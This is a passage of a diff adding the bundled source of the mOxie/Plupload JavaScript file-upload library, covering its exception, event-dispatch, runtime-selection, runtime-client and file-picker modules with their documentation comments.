+			DOMException.prototype = Error.prototype;
+			return DOMException;
+		}()),
+		
+		EventException: (function() {
+			function EventException(code) {
+				this.code = code;
+				this.name = 'EventException';
+			}
+			
+			Basic.extend(EventException, {
+				UNSPECIFIED_EVENT_TYPE_ERR: 0
+			});
+			
+			EventException.prototype = Error.prototype;
+			
+			return EventException;
+		}())
+	};
+});
+
+// Included from: src/javascript/core/EventTarget.js
+
+/**
+ * EventTarget.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+define('moxie/core/EventTarget', [
+	'moxie/core/utils/Env',
+	'moxie/core/Exceptions',
+	'moxie/core/utils/Basic'
+], function(Env, x, Basic) {
+	/**
+	Parent object for all event dispatching components and objects
+
+	@class EventTarget
+	@constructor EventTarget
+	*/
+	function EventTarget() {
+		// hash of event listeners by object uid
+		var eventpool = {};
+				
+		Basic.extend(this, {
+			
+			/**
+			Unique id of the event dispatcher, usually overriden by children
+
+			@property uid
+			@type String
+			*/
+			uid: null,
+			
+			/**
+			Can be called from within a child  in order to acquire uniqie id in automated manner
+
+			@method init
+			*/
+			init: function() {
+				if (!this.uid) {
+					this.uid = Basic.guid('uid_');
+				}
+			},
+
+			/**
+			Register a handler to a specific event dispatched by the object
+
+			@method addEventListener
+			@param {String} type Type or basically a name of the event to subscribe to
+			@param {Function} fn Callback function that will be called when event happens
+			@param {Number} [priority=0] Priority of the event handler - handlers with higher priorities will be called first
+			@param {Object} [scope=this] A scope to invoke event handler in
+			*/
+			addEventListener: function(type, fn, priority, scope) {
+				var self = this, list;
+
+				// without uid no event handlers can be added, so make sure we got one
+				if (!this.hasOwnProperty('uid')) {
+					this.uid = Basic.guid('uid_');
+				}
+				
+				type = Basic.trim(type);
+				
+				if (/\s/.test(type)) {
+					// multiple event types were passed for one handler
+					Basic.each(type.split(/\s+/), function(type) {
+						self.addEventListener(type, fn, priority, scope);
+					});
+					return;
+				}
+				
+				type = type.toLowerCase();
+				priority = parseInt(priority, 10) || 0;
+				
+				list = eventpool[this.uid] && eventpool[this.uid][type] || [];
+				list.push({fn : fn, priority : priority, scope : scope || this});
+				
+				if (!eventpool[this.uid]) {
+					eventpool[this.uid] = {};
+				}
+				eventpool[this.uid][type] = list;
+			},
+			
+			/**
+			Check if any handlers were registered to the specified event
+
+			@method hasEventListener
+			@param {String} type Type or basically a name of the event to check
+			@return {Mixed} Returns a handler if it was found and false, if - not
+			*/
+			hasEventListener: function(type) {
+				var list = type ? eventpool[this.uid] && eventpool[this.uid][type] : eventpool[this.uid];
+				return list ? list : false;
+			},
+			
+			/**
+			Unregister the handler from the event, or if former was not specified - unregister all handlers
+
+			@method removeEventListener
+			@param {String} type Type or basically a name of the event
+			@param {Function} [fn] Handler to unregister
+			*/
+			removeEventListener: function(type, fn) {
+				type = type.toLowerCase();
+	
+				var list = eventpool[this.uid] && eventpool[this.uid][type], i;
+	
+				if (list) {
+					if (fn) {
+						for (i = list.length - 1; i >= 0; i--) {
+							if (list[i].fn === fn) {
+								list.splice(i, 1);
+								break;
+							}
+						}
+					} else {
+						list = [];
+					}
+	
+					// delete event list if it has become empty
+					if (!list.length) {
+						delete eventpool[this.uid][type];
+						
+						// and object specific entry in a hash if it has no more listeners attached
+						if (Basic.isEmptyObj(eventpool[this.uid])) {
+							delete eventpool[this.uid];
+						}
+					}
+				}
+			},
+			
+			/**
+			Remove all event handlers from the object
+
+			@method removeAllEventListeners
+			*/
+			removeAllEventListeners: function() {
+				if (eventpool[this.uid]) {
+					delete eventpool[this.uid];
+				}
+			},
+			
+			/**
+			Dispatch the event
+
+			@method dispatchEvent
+			@param {String/Object} Type of event or event object to dispatch
+			@param {Mixed} [...] Variable number of arguments to be passed to a handlers
+			@return {Boolean} true by default and false if any handler returned false
+			*/
+			dispatchEvent: function(type) {
+				var uid, list, args, tmpEvt, evt = {}, result = true, undef;
+				
+				if (Basic.typeOf(type) !== 'string') {
+					// we can't use original object directly (because of Silverlight)
+					tmpEvt = type;
+
+					if (Basic.typeOf(tmpEvt.type) === 'string') {
+						type = tmpEvt.type;
+
+						if (tmpEvt.total !== undef && tmpEvt.loaded !== undef) { // progress event
+							evt.total = tmpEvt.total;
+							evt.loaded = tmpEvt.loaded;
+						}
+						evt.async = tmpEvt.async || false;
+					} else {
+						throw new x.EventException(x.EventException.UNSPECIFIED_EVENT_TYPE_ERR);
+					}
+				}
+				
+				// check if event is meant to be dispatched on an object having specific uid
+				if (type.indexOf('::') !== -1) {
+					(function(arr) {
+						uid = arr[0];
+						type = arr[1];
+					}(type.split('::')));
+				} else {
+					uid = this.uid;
+				}
+				
+				type = type.toLowerCase();
+								
+				list = eventpool[uid] && eventpool[uid][type];
+
+				if (list) {
+					// sort event list by prority
+					list.sort(function(a, b) { return b.priority - a.priority; });
+					
+					args = [].slice.call(arguments);
+					
+					// first argument will be pseudo-event object
+					args.shift();
+					evt.type = type;
+					args.unshift(evt);
+
+					if (MXI_DEBUG && Env.debug.events) {
+						Env.log("Event '%s' fired on %u", evt.type, uid);	
+					}
+
+					// Dispatch event to all listeners
+					var queue = [];
+					Basic.each(list, function(handler) {
+						// explicitly set the target, otherwise events fired from shims do not get it
+						args[0].target = handler.scope;
+						// if event is marked as async, detach the handler
+						if (evt.async) {
+							queue.push(function(cb) {
+								setTimeout(function() {
+									cb(handler.fn.apply(handler.scope, args) === false);
+								}, 1);
+							});
+						} else {
+							queue.push(function(cb) {
+								cb(handler.fn.apply(handler.scope, args) === false); // if handler returns false stop propagation
+							});
+						}
+					});
+					if (queue.length) {
+						Basic.inSeries(queue, function(err) {
+							result = !err;
+						});
+					}
+				}
+				return result;
+			},
+			
+			/**
+			Alias for addEventListener
+
+			@method bind
+			@protected
+			*/
+			bind: function() {
+				this.addEventListener.apply(this, arguments);
+			},
+			
+			/**
+			Alias for removeEventListener
+
+			@method unbind
+			@protected
+			*/
+			unbind: function() {
+				this.removeEventListener.apply(this, arguments);
+			},
+			
+			/**
+			Alias for removeAllEventListeners
+
+			@method unbindAll
+			@protected
+			*/
+			unbindAll: function() {
+				this.removeAllEventListeners.apply(this, arguments);
+			},
+			
+			/**
+			Alias for dispatchEvent
+
+			@method trigger
+			@protected
+			*/
+			trigger: function() {
+				return this.dispatchEvent.apply(this, arguments);
+			},
+			
+
+			/**
+			Handle properties of on[event] type.
+
+			@method handleEventProps
+			@private
+			*/
+			handleEventProps: function(dispatches) {
+				var self = this;
+
+				this.bind(dispatches.join(' '), function(e) {
+					var prop = 'on' + e.type.toLowerCase();
+					if (Basic.typeOf(this[prop]) === 'function') {
+						this[prop].apply(this, arguments);
+					}
+				});
+
+				// object must have defined event properties, even if it doesn't make use of them
+				Basic.each(dispatches, function(prop) {
+					prop = 'on' + prop.toLowerCase(prop);
+					if (Basic.typeOf(self[prop]) === 'undefined') {
+						self[prop] = null; 
+					}
+				});
+			}
+			
+		});
+	}
+
+	EventTarget.instance = new EventTarget(); 
+
+	return EventTarget;
+});
+
+// Included from: src/javascript/runtime/Runtime.js
+
+/**
+ * Runtime.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+define('moxie/runtime/Runtime', [
+	"moxie/core/utils/Env",
+	"moxie/core/utils/Basic",
+	"moxie/core/utils/Dom",
+	"moxie/core/EventTarget"
+], function(Env, Basic, Dom, EventTarget) {
+	var runtimeConstructors = {}, runtimes = {};
+
+	/**
+	Common set of methods and properties for every runtime instance
+
+	@class Runtime
+
+	@param {Object} options
+	@param {String} type Sanitized name of the runtime
+	@param {Object} [caps] Set of capabilities that differentiate specified runtime
+	@param {Object} [modeCaps] Set of capabilities that do require specific operational mode
+	@param {String} [preferredMode='browser'] Preferred operational mode to choose if no required capabilities were requested
+	*/
+	function Runtime(options, type, caps, modeCaps, preferredMode) {
+		/**
+		Dispatched when runtime is initialized and ready.
+		Results in RuntimeInit on a connected component.
+
+		@event Init
+		*/
+
+		/**
+		Dispatched when runtime fails to initialize.
+		Results in RuntimeError on a connected component.
+
+		@event Error
+		*/
+
+		var self = this
+		, _shim
+		, _uid = Basic.guid(type + '_')
+		, defaultMode = preferredMode || 'browser'
+		;
+
+		options = options || {};
+
+		// register runtime in private hash
+		runtimes[_uid] = this;
+
+		/**
+		Default set of capabilities, which can be redifined later by specific runtime
+
+		@private
+		@property caps
+		@type Object
+		*/
+		caps = Basic.extend({
+			// Runtime can: 
+			// provide access to raw binary data of the file
+			access_binary: false,
+			// provide access to raw binary data of the image (image extension is optional) 
+			access_image_binary: false,
+			// display binary data as thumbs for example
+			display_media: false,
+			// make cross-domain requests
+			do_cors: false,
+			// accept files dragged and dropped from the desktop
+			drag_and_drop: false,
+			// filter files in selection dialog by their extensions
+			filter_by_extension: true,
+			// resize image (and manipulate it raw data of any file in general)
+			resize_image: false,
+			// periodically report how many bytes of total in the file were uploaded (loaded)
+			report_upload_progress: false,
+			// provide access to the headers of http response 
+			return_response_headers: false,
+			// support response of specific type, which should be passed as an argument
+			// e.g. runtime.can('return_response_type', 'blob')
+			return_response_type: false,
+			// return http status code of the response
+			return_status_code: true,
+			// send custom http header with the request
+			send_custom_headers: false,
+			// pick up the files from a dialog
+			select_file: false,
+			// select whole folder in file browse dialog
+			select_folder: false,
+			// select multiple files at once in file browse dialog
+			select_multiple: true,
+			// send raw binary data, that is generated after image resizing or manipulation of other kind
+			send_binary_string: false,
+			// send cookies with http request and therefore retain session
+			send_browser_cookies: true,
+			// send data formatted as multipart/form-data
+			send_multipart: true,
+			// slice the file or blob to smaller parts
+			slice_blob: false,
+			// upload file without preloading it to memory, stream it out directly from disk
+			stream_upload: false,
+			// programmatically trigger file browse dialog
+			summon_file_dialog: false,
+			// upload file of specific size, size should be passed as argument
+			// e.g. runtime.can('upload_filesize', '500mb')
+			upload_filesize: true,
+			// initiate http request with specific http method, method should be passed as argument
+			// e.g. runtime.can('use_http_method', 'put')
+			use_http_method: true
+		}, caps);
+			
+	
+		// default to the mode that is compatible with preferred caps
+		if (options.preferred_caps) {
+			defaultMode = Runtime.getMode(modeCaps, options.preferred_caps, defaultMode);
+		}
+
+		if (MXI_DEBUG && Env.debug.runtime) {
+			Env.log("\tdefault mode: %s", defaultMode);	
+		}
+		
+		// small extension factory here (is meant to be extended with actual extensions constructors)
+		_shim = (function() {
+			var objpool = {};
+			return {
+				exec: function(uid, comp, fn, args) {
+					if (_shim[comp]) {
+						if (!objpool[uid]) {
+							objpool[uid] = {
+								context: this,
+								instance: new _shim[comp]()
+							};
+						}
+						if (objpool[uid].instance[fn]) {
+							return objpool[uid].instance[fn].apply(this, args);
+						}
+					}
+				},
+
+				removeInstance: function(uid) {
+					delete objpool[uid];
+				},
+
+				removeAllInstances: function() {
+					var self = this;
+					Basic.each(objpool, function(obj, uid) {
+						if (Basic.typeOf(obj.instance.destroy) === 'function') {
+							obj.instance.destroy.call(obj.context);
+						}
+						self.removeInstance(uid);
+					});
+				}
+			};
+		}());
+
+
+		// public methods
+		Basic.extend(this, {
+			/**
+			Specifies whether runtime instance was initialized or not
+
+			@property initialized
+			@type {Boolean}
+			@default false
+			*/
+			initialized: false, // shims require this flag to stop initialization retries
+
+			/**
+			Unique ID of the runtime
+
+			@property uid
+			@type {String}
+			*/
+			uid: _uid,
+
+			/**
+			Runtime type (e.g. flash, html5, etc)
+
+			@property type
+			@type {String}
+			*/
+			type: type,
+
+			/**
+			Runtime (not native one) may operate in browser or client mode.
+
+			@property mode
+			@private
+			@type {String|Boolean} current mode or false, if none possible
+			*/
+			mode: Runtime.getMode(modeCaps, (options.required_caps), defaultMode),
+
+			/**
+			id of the DOM container for the runtime (if available)
+
+			@property shimid
+			@type {String}
+			*/
+			shimid: _uid + '_container',
+
+			/**
+			Number of connected clients. If equal to zero, runtime can be destroyed
+
+			@property clients
+			@type {Number}
+			*/
+			clients: 0,
+
+			/**
+			Runtime initialization options
+
+			@property options
+			@type {Object}
+			*/
+			options: options,
+
+			/**
+			Checks if the runtime has specific capability
+
+			@method can
+			@param {String} cap Name of capability to check
+			@param {Mixed} [value] If passed, capability should somehow correlate to the value
+			@param {Object} [refCaps] Set of capabilities to check the specified cap against (defaults to internal set)
+			@return {Boolean} true if runtime has such capability and false, if - not
+			*/
+			can: function(cap, value) {
+				var refCaps = arguments[2] || caps;
+
+				// if cap var is a comma-separated list of caps, convert it to object (key/value)
+				if (Basic.typeOf(cap) === 'string' && Basic.typeOf(value) === 'undefined') {
+					cap = Runtime.parseCaps(cap);
+				}
+
+				if (Basic.typeOf(cap) === 'object') {
+					for (var key in cap) {
+						if (!this.can(key, cap[key], refCaps)) {
+							return false;
+						}
+					}
+					return true;
+				}
+
+				// check the individual cap
+				if (Basic.typeOf(refCaps[cap]) === 'function') {
+					return refCaps[cap].call(this, value);
+				} else {
+					return (value === refCaps[cap]);
+				}
+			},
+
+			/**
+			Returns container for the runtime as DOM element
+
+			@method getShimContainer
+			@return {DOMElement}
+			*/
+			getShimContainer: function() {
+				var container, shimContainer = Dom.get(this.shimid);
+
+				// if no container for shim, create one
+				if (!shimContainer) {
+					container = this.options.container ? Dom.get(this.options.container) : document.body;
+
+					// create shim container and insert it at an absolute position into the outer container
+					shimContainer = document.createElement('div');
+					shimContainer.id = this.shimid;
+					shimContainer.className = 'moxie-shim moxie-shim-' + this.type;
+
+					Basic.extend(shimContainer.style, {
+						position: 'absolute',
+						top: '0px',
+						left: '0px',
+						width: '1px',
+						height: '1px',
+						overflow: 'hidden'
+					});
+
+					container.appendChild(shimContainer);
+					container = null;
+				}
+
+				return shimContainer;
+			},
+
+			/**
+			Returns runtime as DOM element (if appropriate)
+
+			@method getShim
+			@return {DOMElement}
+			*/
+			getShim: function() {
+				return _shim;
+			},
+
+			/**
+			Invokes a method within the runtime itself (might differ across the runtimes)
+
+			@method shimExec
+			@param {Mixed} []
+			@protected
+			@return {Mixed} Depends on the action and component
+			*/
+			shimExec: function(component, action) {
+				var args = [].slice.call(arguments, 2);
+				return self.getShim().exec.call(this, this.uid, component, action, args);
+			},
+
+			/**
+			Operaional interface that is used by components to invoke specific actions on the runtime
+			(is invoked in the scope of component)
+
+			@method exec
+			@param {Mixed} []*
+			@protected
+			@return {Mixed} Depends on the action and component
+			*/
+			exec: function(component, action) { // this is called in the context of component, not runtime
+				var args = [].slice.call(arguments, 2);
+
+				if (self[component] && self[component][action]) {
+					return self[component][action].apply(this, args);
+				}
+				return self.shimExec.apply(this, arguments);
+			},
+
+			/**
+			Destroys the runtime (removes all events and deletes DOM structures)
+
+			@method destroy
+			*/
+			destroy: function() {
+				if (!self) {
+					return; // obviously already destroyed
+				}
+
+				var shimContainer = Dom.get(this.shimid);
+				if (shimContainer) {
+					shimContainer.parentNode.removeChild(shimContainer);
+				}
+
+				if (_shim) {
+					_shim.removeAllInstances();
+				}
+
+				this.unbindAll();
+				delete runtimes[this.uid];
+				this.uid = null; // mark this runtime as destroyed
+				_uid = self = _shim = shimContainer = null;
+			}
+		});
+
+		// once we got the mode, test against all caps
+		if (this.mode && options.required_caps && !this.can(options.required_caps)) {
+			this.mode = false;
+		}	
+	}
+
+
+	/**
+	Default order to try different runtime types
+
+	@property order
+	@type String
+	@static
+	*/
+	Runtime.order = 'html5,html4';
+
+
+	/**
+	Retrieves runtime from private hash by it's uid
+
+	@method getRuntime
+	@private
+	@static
+	@param {String} uid Unique identifier of the runtime
+	@return {Runtime|Boolean} Returns runtime, if it exists and false, if - not
+	*/
+	Runtime.getRuntime = function(uid) {
+		return runtimes[uid] ? runtimes[uid] : false;
+	};
+
+
+	/**
+	Register constructor for the Runtime of new (or perhaps modified) type
+
+	@method addConstructor
+	@static
+	@param {String} type Runtime type (e.g. flash, html5, etc)
+	@param {Function} construct Constructor for the Runtime type
+	*/
+	Runtime.addConstructor = function(type, constructor) {
+		constructor.prototype = EventTarget.instance;
+		runtimeConstructors[type] = constructor;
+	};
+
+
+	/**
+	Get the constructor for the specified type.
+
+	method getConstructor
+	@static
+	@param {String} type Runtime type (e.g. flash, html5, etc)
+	@return {Function} Constructor for the Runtime type
+	*/
+	Runtime.getConstructor = function(type) {
+		return runtimeConstructors[type] || null;
+	};
+
+
+	/**
+	Get info about the runtime (uid, type, capabilities)
+
+	@method getInfo
+	@static
+	@param {String} uid Unique identifier of the runtime
+	@return {Mixed} Info object or null if runtime doesn't exist
+	*/
+	Runtime.getInfo = function(uid) {
+		var runtime = Runtime.getRuntime(uid);
+
+		if (runtime) {
+			return {
+				uid: runtime.uid,
+				type: runtime.type,
+				mode: runtime.mode,
+				can: function() {
+					return runtime.can.apply(runtime, arguments);
+				}
+			};
+		}
+		return null;
+	};
+
+
+	/**
+	Convert caps represented by a comma-separated string to the object representation.
+
+	@method parseCaps
+	@static
+	@param {String} capStr Comma-separated list of capabilities
+	@return {Object}
+	*/
+	Runtime.parseCaps = function(capStr) {
+		var capObj = {};
+
+		if (Basic.typeOf(capStr) !== 'string') {
+			return capStr || {};
+		}
+
+		Basic.each(capStr.split(','), function(key) {
+			capObj[key] = true; // we assume it to be - true
+		});
+
+		return capObj;
+	};
+
+	/**
+	Test the specified runtime for specific capabilities.
+
+	@method can
+	@static
+	@param {String} type Runtime type (e.g. flash, html5, etc)
+	@param {String|Object} caps Set of capabilities to check
+	@return {Boolean} Result of the test
+	*/
+	Runtime.can = function(type, caps) {
+		var runtime
+		, constructor = Runtime.getConstructor(type)
+		, mode
+		;
+		if (constructor) {
+			runtime = new constructor({
+				required_caps: caps
+			});
+			mode = runtime.mode;
+			runtime.destroy();
+			return !!mode;
+		}
+		return false;
+	};
+
+
+	/**
+	Figure out a runtime that supports specified capabilities.
+
+	@method thatCan
+	@static
+	@param {String|Object} caps Set of capabilities to check
+	@param {String} [runtimeOrder] Comma-separated list of runtimes to check against
+	@return {String} Usable runtime identifier or null
+	*/
+	Runtime.thatCan = function(caps, runtimeOrder) {
+		var types = (runtimeOrder || Runtime.order).split(/\s*,\s*/);
+		for (var i in types) {
+			if (Runtime.can(types[i], caps)) {
+				return types[i];
+			}
+		}
+		return null;
+	};
+
+
+	/**
+	Figure out an operational mode for the specified set of capabilities.
+
+	@method getMode
+	@static
+	@param {Object} modeCaps Set of capabilities that depend on particular runtime mode
+	@param {Object} [requiredCaps] Supplied set of capabilities to find operational mode for
+	@param {String|Boolean} [defaultMode='browser'] Default mode to use 
+	@return {String|Boolean} Compatible operational mode
+	*/
+	Runtime.getMode = function(modeCaps, requiredCaps, defaultMode) {
+		var mode = null;
+
+		if (Basic.typeOf(defaultMode) === 'undefined') { // only if not specified
+			defaultMode = 'browser';
+		}
+
+		if (requiredCaps && !Basic.isEmptyObj(modeCaps)) {
+			// loop over required caps and check if they do require the same mode
+			Basic.each(requiredCaps, function(value, cap) {
+				if (modeCaps.hasOwnProperty(cap)) {
+					var capMode = modeCaps[cap](value);
+
+					// make sure we always have an array
+					if (typeof(capMode) === 'string') {
+						capMode = [capMode];
+					}
+					
+					if (!mode) {
+						mode = capMode;						
+					} else if (!(mode = Basic.arrayIntersect(mode, capMode))) {
+						// if cap requires conflicting mode - runtime cannot fulfill required caps
+
+						if (MXI_DEBUG && Env.debug.runtime) {
+							Env.log("\t\t%c: %v (conflicting mode requested: %s)", cap, value, capMode);	
+						}
+
+						return (mode = false);
+					}					
+				}
+
+				if (MXI_DEBUG && Env.debug.runtime) {
+					Env.log("\t\t%c: %v (compatible modes: %s)", cap, value, mode);	
+				}
+			});
+
+			if (mode) {
+				return Basic.inArray(defaultMode, mode) !== -1 ? defaultMode : mode[0];
+			} else if (mode === false) {
+				return false;
+			}
+		}
+		return defaultMode; 
+	};
+
+
+	/**
+	Capability check that always returns true
+
+	@private
+	@static
+	@return {True}
+	*/
+	Runtime.capTrue = function() {
+		return true;
+	};
+
+	/**
+	Capability check that always returns false
+
+	@private
+	@static
+	@return {False}
+	*/
+	Runtime.capFalse = function() {
+		return false;
+	};
+
+	/**
+	Evaluate the expression to boolean value and create a function that always returns it.
+
+	@private
+	@static
+	@param {Mixed} expr Expression to evaluate
+	@return {Function} Function returning the result of evaluation
+	*/
+	Runtime.capTest = function(expr) {
+		return function() {
+			return !!expr;
+		};
+	};
+
+	return Runtime;
+});
+
+// Included from: src/javascript/runtime/RuntimeClient.js
+
+/**
+ * RuntimeClient.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+define('moxie/runtime/RuntimeClient', [
+	'moxie/core/utils/Env',
+	'moxie/core/Exceptions',
+	'moxie/core/utils/Basic',
+	'moxie/runtime/Runtime'
+], function(Env, x, Basic, Runtime) {
+	/**
+	Set of methods and properties, required by a component to acquire ability to connect to a runtime
+
+	@class RuntimeClient
+	*/
+	return function RuntimeClient() {
+		var runtime;
+
+		Basic.extend(this, {
+			/**
+			Connects to the runtime specified by the options. Will either connect to existing runtime or create a new one.
+			Increments number of clients connected to the specified runtime.
+
+			@private
+			@method connectRuntime
+			@param {Mixed} options Can be a runtme uid or a set of key-value pairs defining requirements and pre-requisites
+			*/
+			connectRuntime: function(options) {
+				var comp = this, ruid;
+
+				function initialize(items) {
+					var type, constructor;
+
+					// if we ran out of runtimes
+					if (!items.length) {
+						comp.trigger('RuntimeError', new x.RuntimeError(x.RuntimeError.NOT_INIT_ERR));
+						runtime = null;
+						return;
+					}
+
+					type = items.shift().toLowerCase();
+					constructor = Runtime.getConstructor(type);
+					if (!constructor) {
+						initialize(items);
+						return;
+					}
+
+					if (MXI_DEBUG && Env.debug.runtime) {
+						Env.log("Trying runtime: %s", type);
+						Env.log(options);
+					}
+
+					// try initializing the runtime
+					runtime = new constructor(options);
+
+					runtime.bind('Init', function() {
+						// mark runtime as initialized
+						runtime.initialized = true;
+
+						if (MXI_DEBUG && Env.debug.runtime) {
+							Env.log("Runtime '%s' initialized", runtime.type);
+						}
+
+						// jailbreak ...
+						setTimeout(function() {
+							runtime.clients++;
+							// this will be triggered on component
+							comp.trigger('RuntimeInit', runtime);
+						}, 1);
+					});
+
+					runtime.bind('Error', function() {
+						if (MXI_DEBUG && Env.debug.runtime) {
+							Env.log("Runtime '%s' failed to initialize", runtime.type);
+						}
+
+						runtime.destroy(); // runtime cannot destroy itself from inside at a right moment, thus we do it here
+						initialize(items);
+					});
+
+					/*runtime.bind('Exception', function() { });*/
+
+					if (MXI_DEBUG && Env.debug.runtime) {
+						Env.log("\tselected mode: %s", runtime.mode);	
+					}
+
+					// check if runtime managed to pick-up operational mode
+					if (!runtime.mode) {
+						runtime.trigger('Error');
+						return;
+					}
+
+					runtime.init();
+				}
+
+				// check if a particular runtime was requested
+				if (Basic.typeOf(options) === 'string') {
+					ruid = options;
+				} else if (Basic.typeOf(options.ruid) === 'string') {
+					ruid = options.ruid;
+				}
+
+				if (ruid) {
+					runtime = Runtime.getRuntime(ruid);
+					if (runtime) {
+						runtime.clients++;
+						return runtime;
+					} else {
+						// there should be a runtime and there's none - weird case
+						throw new x.RuntimeError(x.RuntimeError.NOT_INIT_ERR);
+					}
+				}
+
+				// initialize a fresh one, that fits runtime list and required features best
+				initialize((options.runtime_order || Runtime.order).split(/\s*,\s*/));
+			},
+
+
+			/**
+			Disconnects from the runtime. Decrements number of clients connected to the specified runtime.
+
+			@private
+			@method disconnectRuntime
+			*/
+			disconnectRuntime: function() {
+				if (runtime && --runtime.clients <= 0) {
+					runtime.destroy();
+				}
+
+				// once the component is disconnected, it shouldn't have access to the runtime
+				runtime = null;
+			},
+
+
+			/**
+			Returns the runtime to which the client is currently connected.
+
+			@method getRuntime
+			@return {Runtime} Runtime or null if client is not connected
+			*/
+			getRuntime: function() {
+				if (runtime && runtime.uid) {
+					return runtime;
+				}
+				return runtime = null; // make sure we do not leave zombies rambling around
+			},
+
+
+			/**
+			Handy shortcut to safely invoke runtime extension methods.
+			
+			@private
+			@method exec
+			@return {Mixed} Whatever runtime extension method returns
+			*/
+			exec: function() {
+				if (runtime) {
+					return runtime.exec.apply(this, arguments);
+				}
+				return null;
+			}
+
+		});
+	};
+
+
+});
+
+// Included from: src/javascript/file/FileInput.js
+
+/**
+ * FileInput.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+define('moxie/file/FileInput', [
+	'moxie/core/utils/Basic',
+	'moxie/core/utils/Env',
+	'moxie/core/utils/Mime',
+	'moxie/core/utils/Dom',
+	'moxie/core/Exceptions',
+	'moxie/core/EventTarget',
+	'moxie/core/I18n',
+	'moxie/runtime/Runtime',
+	'moxie/runtime/RuntimeClient'
+], function(Basic, Env, Mime, Dom, x, EventTarget, I18n, Runtime, RuntimeClient) {
+	/**
+	Provides a convenient way to create cross-browser file-picker. Generates file selection dialog on click,
+	converts selected files to _File_ objects, to be used in conjunction with _Image_, preloaded in memory
+	with _FileReader_ or uploaded to a server through _XMLHttpRequest_.
+
+	@class FileInput
+	@constructor
+	@extends EventTarget
+	@uses RuntimeClient
+	@param {Object|String|DOMElement} options If options is string or node, argument is considered as _browse\_button_.
+		@param {String|DOMElement} options.browse_button DOM Element to turn into file picker.
+		@param {Array} [options.accept] Array of mime types to accept. By default accepts all.
+		@param {String} [options.file='file'] Name of the file field (not the filename).
+		@param {Boolean} [options.multiple=false] Enable selection of multiple files.
+		@param {Boolean} [options.directory=false] Turn file input into the folder input (cannot be both at the same time).
+		@param {String|DOMElement} [options.container] DOM Element to use as a container for file-picker. Defaults to parentNode 
+		for _browse\_button_.
+		@param {Object|String} [options.required_caps] Set of required capabilities, that chosen runtime must support.
+
+	@example
+		<div id="container">
+			<a id="file-picker" href="javascript:;">Browse...</a>
+		</div>
+
+		<script>
+			var fileInput = new mOxie.FileInput({
+				browse_button: 'file-picker', // or document.getElementById('file-picker')
+				container: 'container',
+				accept: [
+					{title: "Image files", extensions: "jpg,gif,png"} // accept only images
+				],
+				multiple: true // allow multiple file selection
+			});
+
+			fileInput.onchange = function(e) {
+				// do something to files array
+				console.info(e.target.files); // or this.files or fileInput.files
+			};
+
+			fileInput.init(); // initialize
+		</script>
+	*/
+	var dispatches = [
+		/**
+		Dispatched when runtime is connected and file-picker is ready to be used.
+
+		@event ready
+		@param {Object} event
+		*/
+		'ready',
+
+		/**
+		Dispatched right after [ready](#event_ready) event, and whenever [refresh()](#method_refresh) is invoked. 
+		Check [corresponding documentation entry](#method_refresh) for more info.
+
+		@event refresh
+		@param {Object} event
+		*/
+
+		/**
+		Dispatched when selection of files in the dialog is complete.
+
+		@event change
+		@param {Object} event
+		*/
+		'change',
+
+		'cancel', // TODO: might be useful
+
+		/**
+		Dispatched when mouse cursor enters file-picker area. Can be used to style element
+		accordingly.
+
+		@event mouseenter
+		@param {Object} event
+		*/
+		'mouseenter',
+
+		/**
+		Dispatched when mouse cursor leaves file-picker area. Can be used to style element
+		accordingly.
+
+		@event mouseleave
+		@param {Object} event
+		*/
+		'mouseleave',
+
+		/**
+		Dispatched when functional mouse button is pressed on top of file-picker area.
+
+		@event mousedown
+		@param {Object} event
+		*/
+		'mousedown',
+
+		/**
+		Dispatched when functional mouse button is released on top of file-picker area.
+
+		@event mouseup
+		@param {Object} event
+		*/
+		'mouseup'
+	];
+
+	function FileInput(options) {
+		if (MXI_DEBUG) {
+			Env.log("Instantiating FileInput...");	
+		}
+
+		var self = this,
+			container, browseButton, defaults;
+
+		// if flat argument passed it should be browse_button id
+		if (Basic.inArray(Basic.typeOf(options), ['string', 'node']) !== -1) {
+			options = { browse_button : options };
+		}
+
+		// this will help us to find proper default container
+		browseButton = Dom.get(options.browse_button);
+		if (!browseButton) {
+			// browse button is required
+			throw new x.DOMException(x.DOMException.NOT_FOUND_ERR);
+		}
+
+		// figure out the options
+		defaults = {
+			accept: [{
+				title: I18n.translate('All Files'),
+				extensions: '*'
+			}],
+			name: 'file',
+			multiple: false,
+			required_caps: false,
+			container: browseButton.parentNode || document.body
+		};
+		
+		options = Basic.extend({}, defaults, options);
+
+		// convert to object representation
+		if (typeof(options.required_caps) === 'string') {
+			options.required_caps = Runtime.parseCaps(options.required_caps);
+		}
+					
+		// normalize accept option (could be list of mime types or array of title/extensions pairs)
+		if (typeof(options.accept) === 'string') {
+			options.accept = Mime.mimes2extList(options.accept);
+		}
+
+		container = Dom.get(options.container);
+		// make sure we have container
+		if (!container) {
+			container = document.body;
+		}
+
+		// make container relative, if it's not
+		if (Dom.getStyle(container, 'position') === 'static') {
+			container.style.position = 'relative';
+		}
+
+		container = browseButton = null; // IE
+						
+		RuntimeClient.call(self);
+		
+		Basic.extend(self, {
+			/**
+			Unique id of the component
+
+			@property uid
+			@protected
+			@readOnly
+			@type {String}
+			@default UID
+			*/
+			uid: Basic.guid('uid_'),
+			
+			/**
+			Unique id of the connected runtime, if any.
+
+			@property ruid
+			@protected
+			@type {String}
+			*/
+			ruid: null,
+
+			/**
+			Unique id of the runtime container. Useful to get hold of it for various manipulations.
+
+			@property shimid
+			@protected
+			@type {String}
+			*/
+			shimid: null,
+			
+			/**
+			Array of selected mOxie.File objects
+
+			@property files
+			@type {Array}
+			@default null
+			*/
+			files: null,
+
+			/**
+			Initializes the file-picker, connects it to runtime and dispatches event ready when done.
+
+			@method init
+			*/
+			init: function() {
+				self.bind('RuntimeInit', function(e, runtime) {
+					self.ruid = runtime.uid;
+					self.shimid = runtime.shimid;
+
+					self.bind("Ready", function() {
+						self.trigger("Refresh");
+					}, 999);
+
+					// re-position and resize shim container
+					self.bind('Refresh', function() {
